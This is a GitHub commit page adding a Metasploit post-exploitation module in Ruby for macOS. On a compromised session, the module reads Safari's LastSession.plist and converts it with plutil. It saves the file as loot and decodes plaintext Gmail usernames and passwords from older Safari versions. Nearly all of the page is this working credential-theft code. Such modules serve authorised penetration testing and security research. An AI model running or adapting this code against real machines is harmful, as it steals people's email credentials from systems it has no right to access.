Skip to content

Commit ea6ba2b

Browse files
committed
Add post module to get LastSession.plist
LastSession.plist sometimes contains sensitive information such as usernames and passwords. It'd be nice to keep this in loot.
1 parent ad2ec49 commit ea6ba2b

File tree

1 file changed

+220
-0
lines changed

1 file changed

+220
-0
lines changed
Lines changed: 220 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,220 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'rexml/document'
8+
9+
class Metasploit3 < Msf::Post
10+
11+
include Msf::Post::Common
12+
include Msf::Post::File
13+
include Msf::Auxiliary::Report
14+
15+
def initialize(info={})
16+
super( update_info( info,
17+
'Name' => 'OSX Gather Safari LastSession.plist',
18+
'Description' => %q{
19+
This module downloads the LastSession.plist file from the target machine.
20+
LastSession.plist is used by Safari to track active websites in the current
21+
session, and sometimes contains sensitive information such as usernames and
22+
passwords. This module will first download the original LastSession.plist,
23+
and then attempt to find the credential for Gmail.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' => [ 'sinn3r'],
27+
'Platform' => [ 'osx' ],
28+
'SessionTypes' => [ 'shell' ],
29+
'References' =>
30+
[
31+
['URL', 'http://www.securelist.com/en/blog/8168/Loophole_in_Safari']
32+
]
33+
))
34+
end
35+
36+
37+
#
38+
# Returns the Safari version based on version.plist
39+
# @return [String] The Safari version. If not found, returns ''
40+
#
41+
def get_safari_version
42+
vprint_status("#{peer} - Checking Safari version.")
43+
version = ''
44+
45+
f = read_file("/Applications/Safari.app/Contents/version.plist")
46+
xml = REXML::Document.new(f)
47+
return version if xml.root.nil?
48+
49+
xml.elements['plist/dict'].each_element do |e|
50+
if e.text == 'CFBundleShortVersionString'
51+
version = e.next_element.text
52+
break
53+
end
54+
end
55+
56+
version
57+
end
58+
59+
def peer
60+
"#{session.session_host}:#{session.session_port}"
61+
end
62+
63+
64+
#
65+
# Converts LastSession.plist to xml, and then read it
66+
# @param filename [String] The path to LastSession.plist
67+
# @return [String] Returns the XML version of LastSession.plist
68+
#
69+
def plutil(filename)
70+
cmd_exec("plutil -convert xml1 #{filename}")
71+
cmd_exec("cat #{filename}")
72+
end
73+
74+
75+
#
76+
# Returns the XML version of LastSession.plist (text file)
77+
# Just a wrapper for plutil
78+
#
79+
def get_lastsession
80+
print_status("#{peer} - Looking for LastSession.plist")
81+
plutil("~/Library/Safari/LastSession.plist")
82+
end
83+
84+
85+
#
86+
# Returns the <array> element that contains session data
87+
# @param lastsession [String] XML data
88+
# @return [REXML::Element] The Array element for the session data
89+
#
90+
def get_sessions(lastsession)
91+
session_dict = nil
92+
93+
xml = REXML::Document.new(lastsession)
94+
return nil if xml.root.nil?
95+
96+
xml.elements['plist'].each_element do |e|
97+
found = false
98+
e.elements.each do |e2|
99+
if e2.text == 'SessionWindows'
100+
session_dict = e.elements['array']
101+
found = true
102+
break
103+
end
104+
end
105+
106+
break if found
107+
end
108+
109+
session_dict
110+
end
111+
112+
113+
#
114+
# Returns the <dict> session element
115+
# @param xml [REXML::Element] The array element for the session data
116+
# @param domain [String] The domain to search for
117+
# @return [REXML::Element] The <dict> element for the session data
118+
#
119+
def get_session_element(xml, domain)
120+
dict = nil
121+
122+
found = false
123+
xml.each_element do |e|
124+
e.elements['array/dict'].each_element do |e2|
125+
if e2.text =~ /#{domain}/
126+
dict = e
127+
found = true
128+
break
129+
end
130+
end
131+
132+
break if found
133+
end
134+
135+
dict
136+
end
137+
138+
139+
#
140+
# Extracts Gmail username/password
141+
# @param xml [REXML::Element] The array element for the session data
142+
# @return [Array] [0] is the domain, [1] is the user, [2] is the pass
143+
#
144+
def find_gmail_cred(xml)
145+
vprint_status("#{peer} - Looking for username/password for Gmail.")
146+
gmail_dict = get_session_element(xml, 'mail.google.com')
147+
return '' if gmail_dict.nil?
148+
149+
raw_data = gmail_dict.elements['array/dict/data'].text
150+
decoded_data = Rex::Text.decode_base64(raw_data)
151+
cred = decoded_data.scan(/Email=(.+)&Passwd=(.+)\&signIn/).flatten
152+
user, pass = cred.map {|data| Rex::Text.uri_decode(data)}
153+
154+
return '' if user.blank? or pass.blank?
155+
156+
['mail.google.com', user, pass]
157+
end
158+
159+
#
160+
# Runs the module
161+
#
162+
def run
163+
cred_tbl = Rex::Ui::Text::Table.new({
164+
'Header' => 'Credentials',
165+
'Indent' => 1,
166+
'Columns' => ['Domain', 'Username', 'Password']
167+
})
168+
169+
#
170+
# Downloads LastSession.plist in XML format
171+
#
172+
lastsession = get_lastsession
173+
if lastsession.blank?
174+
print_error("#{peer} - LastSession.plist not found")
175+
return
176+
else
177+
p = store_loot('osx.lastsession.plist', 'text/plain', session, lastsession, 'LastSession.plist.xml')
178+
print_good("#{peer} - LastSession.plist stored in: #{p.to_s}")
179+
end
180+
181+
#
182+
# If this is an unpatched version, we try to extract creds
183+
#
184+
version = get_safari_version
185+
if version.blank?
186+
print_warning("Unable to determine Safari version, will try to extract creds anyway")
187+
elsif version >= "6.1"
188+
print_status("#{peer} - This machine no longer stores session data in plain text")
189+
return
190+
else
191+
vprint_status("#{peer} - Safari version: #{version}")
192+
end
193+
194+
#
195+
# Attempts to convert the XML file to an actual XML object, with the <array> element
196+
# holding our session data
197+
#
198+
lastsession_xml = get_sessions(lastsession)
199+
unless lastsession_xml
200+
print_error("Cannot read XML file, or unable to find any session data")
201+
return
202+
end
203+
204+
#
205+
# Look for credential in the session data.
206+
# I don't know who else stores their user/pass in the session data, but I accept pull requests.
207+
# Already looked at hotmail, yahoo, and twitter
208+
#
209+
gmail_cred = find_gmail_cred(lastsession_xml)
210+
cred_tbl << gmail_cred unless gmail_cred.blank?
211+
212+
unless cred_tbl.rows.empty?
213+
p = store_loot('osx.lastsession.creds', 'text/plain', session, cred_tbl.to_csv, 'LastSession_creds.txt')
214+
print_good("#{peer} - Found credential saved in: #{p}")
215+
print_line
216+
print_line(cred_tbl.to_s)
217+
end
218+
end
219+
220+
end

0 commit comments

Comments
 (0)